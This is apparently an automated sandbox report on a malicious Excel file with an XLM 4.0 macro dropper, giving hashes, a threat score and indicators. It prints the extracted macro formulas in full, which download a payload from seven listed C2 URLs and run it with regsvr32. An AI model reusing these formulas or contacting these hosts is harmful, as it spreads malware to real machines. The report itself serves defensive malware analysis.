3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b

General

Target

3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
Size

35KB
Sample

241120-pje98awqh1
MD5

c5202b9f72707434d555cd0a93f14589
SHA1

b07648ad3f2a6855170c949931c63ae28f098417
SHA256

3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
SHA512

dde2632de16914b243400584a144c6494d70f832515a5ba38386e72b600654738409a644497888420931af9ba4ce4b175d636c5fe9526faef6528d98ec7de8d5
SSDEEP

768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://bb2play.com/wzzx/9tamtuJMSndL/

https://romusreselling.xyz/wordpress/bSX/

https://localart.net/wp-content/uploads/I4c5SsknUlq/

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

https://grchen.top/wordpress/bIGq8phSAMn/

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

https://sarc.in/wp-admin/9IDe7r7/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

xlm40.dropper

https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/

xlm40.dropper

https://grchen.top/wordpress/bIGq8phSAMn/

xlm40.dropper

https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/

xlm40.dropper

https://sarc.in/wp-admin/9IDe7r7/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://bb2play.com/wzzx/9tamtuJMSndL/

xlm40.dropper

https://romusreselling.xyz/wordpress/bSX/

xlm40.dropper

https://localart.net/wp-content/uploads/I4c5SsknUlq/

Targets

- Target
  
  3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
- Size
  
  35KB
- MD5
  
  c5202b9f72707434d555cd0a93f14589
- SHA1
  
  b07648ad3f2a6855170c949931c63ae28f098417
- SHA256
  
  3a3e2fae85d207715d3f52e530eb861a2cc7f3a606e98930ef069d9a794c604b
- SHA512
  
  dde2632de16914b243400584a144c6494d70f832515a5ba38386e72b600654738409a644497888420931af9ba4ce4b175d636c5fe9526faef6528d98ec7de8d5
- SSDEEP
  
  768:whtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:whtqigGUOZZ1ZYpoQ/pMA8i
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2